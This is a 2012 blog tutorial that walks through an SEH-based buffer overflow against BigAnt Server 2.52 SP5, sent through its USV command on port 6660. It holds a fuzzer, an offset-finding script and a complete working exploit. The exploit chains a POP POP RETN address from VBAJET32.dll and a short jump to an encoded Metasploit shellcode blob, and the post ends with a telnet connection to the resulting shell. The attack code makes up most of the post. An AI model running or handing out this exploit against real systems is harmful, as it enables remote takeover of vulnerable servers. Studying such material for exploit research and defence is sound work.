Friday, February 17, 2012

SEH Based Buffer Overflow - BigAnt Server

This time, I'll try to explain how to exploit a software that have a SEH protection on its system called BigAnt Server. SEH is an exception handler to protect the EIP to be overflowed by the abnormal flow on the software. This will force us to use different attack vector and technique because if we use the same technique as in the Direct Return Exploit the attack won't work because of SEH.

BigAnt server is an Internet Messenger server. The version of the software that used in this post is 2.52 Service Pack 5.

Lets get started..  >:D

- First thing to do of couse installing the software on the xp machine.

- The server runs its service on port 6660. We will attack that port.

- To make a proper script for the attack we must have a BigAnt client because we can see the communication between them. What packet was sent by the client to the server and vice versa. 
- In this post we will try to fuzz the USV command on the server. 
- Make a fuzzer with this script.
Spoiler:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x41"*2500
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")

- The script will send 2500 'A' character on the server.
- In this state if you execute the script nothing will happen in the BigAnt because of the SEH protection. 
- SEH working in the background, to see that we must use debugger. Again, I'll use OllyDbg.
- Open your debugger and attach to AntServer process. Pay attention to what you attach because BigAnt create 3 services on the sytem AvServer, AntServer, and AntAdmin.

- Ok, now execute the fuzzer and see what happen in OllyDbg.

- As you can see above, the EIP isn't overwritten by the fuzzer directly because of the SEH. To view what happen in SEH, click View>SEH chain.

- The SEH handle the excess 'A' character. To transmit the char into the EIP press Shift+F9

- In the bottom right of the OllyDbg windows, we can see that the fuzzer's data sent to the application also entered the stack memory. To see it right click on the stack line then click follow in dump. 

- To pass the SEH protection we must find the POP POP RETN command on one of the modules that loaded by BigAnt. The module must not have SafeSEH ON, and DLLCHARACTERISTICS_NO_SEH in it. Usually, modules that don't have it is a third party module outside Windows. But, in this case BigAnt don't have a modules in its system, so we must use the modules from Windows.

- We will use VBAJET32.dll located in C:\\Windows\system32 as the door to pass the SEH as the modules is also loaded by BigAnt.

- After that, we must find the POP POP RETN command on this module. Open your module then right click > Search for > Sequence of Commands.

- Enter POP r32, POP r32, and RETN on the search box.

- Here's what we will get. The address of POP POP and RETN on the VBAJET32.dll module.

- Ok, next step we must find the address where the SEH is overwritten. As usual, we will use pattern_create and pattern_offset to do this.
- Make a pattern 2500 bytes long then insert it on the fuzzer.
Spoiler:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")

- Execute it, then see what happen in OllyDbg. Don't forget to restart both OllyDbg and BigAnt server first.

- Use pattern_offset to get the exact address.
# ./pattern_offset.rb 42326742
966

- Ok, next lets try to overwrite the SEH with our own word like DEADBEEF. To do it, change the fuzzer script a little.
Spoiler:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xcc\xcc\xcc\xcc"
buffer+="\xEF\xBE\xAD\xDE"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")

- Why the data sent is not 966 bytes but 962 bytes? because 4 bytes before SEH address will be overwritten by the 'cc' character.
- Execute it and see what will happen in SEH Chain.

- Looks good, next thing lets try to overwrite the SEH with the address of POP POP RETN on the VBAJET32.dll module. Change the script again.
Spoiler:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xcc\xcc\xcc\xcc"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")

- Before execute it. Place a breakpoint on the POP POP RETN address on VBAJET32.dll module.

- Now, execute it then see what SEH Chain will display.

- Press Shift+F9 to continue the process to VBAJET32.dll then press it again to continue the POP POP RETN sequence located in the module. After that press F7 until the process reach the RETN command.

- The problem now is that we only have 4 bytes to store our payload. That definitely doesn't enough to store our payload. So we must find another process that big enough to store our payload. 
- Right click on the first CC (012CFD7C)>Follow in Dump >Selection. By doing this OllyDbg will show us the address where we can store our payload.

- So, how we use that? With a little calculation we can know the size available for us to be used as the place to store the payload. The starting address is 016FFD84 and the end address is 016FFFFC. Convert that into decimal then decrease the last address with the starting address and we will get the exact size to place our payload.
- To order the CPU to the new big location, we can use JMP SHORT command. JMP SHORT used to order the CPU to jump several bytes forward then start the execution process from that location.
- I'll explain about JMP SHORT and how to use it in the other post. 
- Next, generate the payload using msfweb.
- Why there are 0x20 and 0x25 in the Restricted Characters columns? It is a bad character. More details here.

- Generated payload.

- Insert it to our fuzzer.
Spoiler:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*16
buffer+=("\xb8\xf4\xc1\x3c\x07\x29\xc9\xdb\xd6\xb1\x51\xd9\x74\x24\xf4\x5b"
"\x83\xeb\xfc\x31\x43\x0c\x03\xb7\xcd\xde\xf2\xcb\xa4\xf5\xb0\xdb"
"\xc0\xf5\xb4\xe4\x53\x81\x27\x3e\xb0\x1e\xf2\x02\x33\x5c\xf8\x02"
"\x42\x72\x89\xbd\x5c\x07\xd1\x61\x5c\xfc\xa7\xea\x6a\x89\x39\x02"
"\xa3\x4d\xa0\x76\x40\x8d\xa7\x81\x88\xc4\x45\x8c\xc8\x32\xa1\xb5"
"\x98\xe0\x62\xbc\xc5\x62\x2d\x1a\x07\x9e\xb4\xe9\x0b\x2b\xb2\xb2"
"\x0f\xaa\x2f\x4f\x1c\x27\x26\x23\x78\x2b\x58\x78\xb1\x88\xfe\xf5"
"\xf1\x1e\x74\x49\xfa\xd5\xfa\x55\xaf\x61\xba\x6d\xf1\x1d\xb5\x23"
"\x03\x32\x99\x44\xcd\xac\x49\xdc\x9a\x03\x5c\x48\x2c\x17\x92\xd7"
"\x86\x28\x02\x8f\xed\x3a\x5f\x74\xa2\x3b\x76\xd5\xcb\x21\x11\x68"
"\x26\xa1\xdc\x3f\xd3\xb0\x1f\x6f\x4b\x6c\xd6\x7a\x21\xd9\x16\x52"
"\x69\xb5\xbb\x09\xdd\x7a\x6f\xee\xb2\x83\x5f\x96\x5c\x6d\x3c\x30"
"\xce\x04\x5d\x29\x98\xb2\x84\x21\x9e\xec\x47\x17\x4a\x03\xe9\xc2"
"\x74\xf3\x61\x48\x27\xda\x98\xc7\xc7\xf5\x08\xb2\xc8\x2a\xc6\xd9"
"\x7e\x4d\x5e\x76\x7e\x87\x31\x2c\xd4\x7d\x4d\x1c\x47\x15\x56\xe5"
"\xae\x9f\xcf\xea\xf9\x35\x0f\xc4\x60\xdc\x8b\x82\x04\x43\x39\xc3"
"\x30\xe9\x91\x8a\x93\x22\x98\xcb\x8e\xfe\x12\xf1\x7e\x3f\xd7\x5f"
"\x7e\xfd\x35\x61\x3d\x2e\xd5\x10\xb8\x16\x72\x81\x96\x0f\xf6\x2b"
"\x5b\xd9\x09\xa6\xd8\x19\x23\x13\xb6\xb7\x9d\xf2\x69\x52\x1f\xa5"
"\xd8\xf7\x4e\xba\x0b\x9f\xdd\x9d\xa9\xae\x4d\xe2\x64\x44\x8d\xe3"
"\xbe\x66\xa1\x90\x96\x64\xc1\x62\x7c\x6a\x10\x38\x82\x44\xf5\xc2"
"\xa4\x87\x75\x69\xaa\x9e\x85\x5d")
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")

- Execute the fuzzer then connect using telnet to the target.

Success..   ^_^b

"the quieter you become, the more you are able to hear.."

0 comments:

Post a Comment